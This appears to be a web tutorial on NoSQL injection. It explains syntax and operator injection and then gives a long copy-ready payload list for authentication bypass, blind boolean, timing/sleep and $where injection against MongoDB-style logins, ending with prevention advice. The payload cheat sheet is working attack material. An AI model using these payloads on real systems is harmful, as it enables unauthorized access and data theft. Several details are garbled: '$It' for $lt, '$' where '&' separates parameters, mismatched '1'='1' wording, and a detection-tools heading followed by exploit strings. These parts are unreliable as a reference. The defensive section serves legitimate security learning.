What is NoSQL Injection?
NoSQL injection is a security vulnerability which is found on web application that are using NoSQL databases.
It is somewhere related to SQL Injection which can allow attackers to bypass authentication, extract the data, edit the data or execute any malicious code in the database server.
Steps to Perform a NoSQL Injection Attack
- Identify the NoSQL Database
- Understand the Query Language
- Inject Malicious Payloads
- Monitor for Errors or Changes
Types of NOSQL Injection
There are mainly 2 types of NoSQL Injection
1. Syntax Injection
It involves breaking the NoSQL query that somehow trigger a database error or some other detectable behavior which is unusual. It can be done by injecting additional characters or structures into the query to alter its intended syntax.
Example :
Consider a query to authenticate a user based on their username and password:
db.users.find({ username: userInput, password: passwordInput });
If an attacker manipulates the input to inject additional syntax:
userInput = "admin' || '1'=='1"
passwordInput = "password"
The resulting query will be:
db.users.find({ username: "admin' || '1'=='1", password: "password" });
Explanation:
Here, '1'='1'
is always true, which could potentially allow the attacker to bypass authentication.
2. Operator Injection
It involves injecting NoSQL operators into queries to modify their logic.
Commonly used operators in NoSQL injection vulnerabilities include:
- $eq = Equal to
- $ne = Not equal to
- $gt = Greater than
- $regex = Regular expression
- $It = Less than
- $in = Check if the required data is present in a data structure such as pointer or array, etc.
Example :
Consider a query to authenticate a user based on their username and password:
db.users.find({ username: userInput, password: passwordInput });
If an attacker manipulates the input by adding additional operators:
userInput = { $ne: null }
passwordInput = { $ne: null }
The resulting query will be:
db.users.find({ username: { $ne: null }, password: { $ne: null } });
Explanation
- The
$ne: null
operator means “not equal to null”. - The query
db.users.find({ username: { $ne: null }, password: { $ne: null } })
will match any document where theusername
is notnull
and thepassword
is notnull
.
In most databases, it’s very likely that username
and password
fields will never be null
for valid user records. Therefore, this query would match all user documents where both fields are not null
, effectively bypassing the authentication logic.
What tools can help detect NoSQL injection vulnerabilities?
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1
username[$regex]=^adm$password[$ne]=1
username[$regex]=.{25}&pass[$ne]=1
username[$eq]=admin&password[$ne]=1
username[$ne]=admin&pass[$lt]=s
username[$ne]=admin&pass[$gt]=s
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
{ $where: "this.credits == this.debits" }
Basic authentication bypass
In URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
In JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
Syntax Injection Payloads
test||1==1
test%7C%7C1%3D%3D1
test||'1==1
test%7C%7C%271%3D%3D1
Blind Boolean Injection Payloads
{"$ne": -1}
{"$in": []}
{"$and": [ {"id": 5}, {"id": 6} ]}
{"$where": "return true"}
Timing Injection Payloads
{"$where": "sleep(100)"}
";sleep(100);"
Some most common payloads:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
What are the best practices for preventing NoSQL injection attacks?
- Input Validation and Sanitization:
- Thoroughly validate and sanitize all user input before using it in NoSQL queries.
- Use regular expressions, whitelists, and other techniques to filter out malicious code and prevent it from being executed by the database.
- Parameterized Queries and Prepared Statements:
- Use parameterized queries or prepared statements to separate user input from the actual query logic.
- This prevents attackers from injecting malicious code directly into the query.
- Least Privilege Access Control:
- Implement the principle of least privilege, granting users only the minimum necessary permissions to perform their tasks.
- This limits the damage an attacker can do if they gain access to a compromised user account.
- Secure Coding Practices:
- Ensure developers are familiar with the specific NoSQL database being used and its query language syntax.
- Avoid using dangerous operators like
$where
that can execute arbitrary code.
- Regular Security Audits and Updates:
- Regularly audit the application and database for potential vulnerabilities.
- Keep the NoSQL database and related software up-to-date with the latest security patches.
- Input Encoding:
- Encode user input to prevent special characters from being interpreted as part of the query syntax.
- Use techniques like
encodeURIComponent()
for URLs or libraries likequerystring
for form data.
- Whitelist Allowed Characters:
- Define a whitelist of allowed characters for user input and reject any input that contains characters outside this whitelist.
- This helps prevent the injection of NoSQL operators and other special characters.
- Leverage Built-in Security Features:
- Take advantage of the security features provided by the NoSQL database, such as access control, authentication, and authorization mechanisms.
By implementing these best practices, organizations can significantly reduce the risk of NoSQL injection attacks and protect their sensitive data from unauthorized access or manipulation.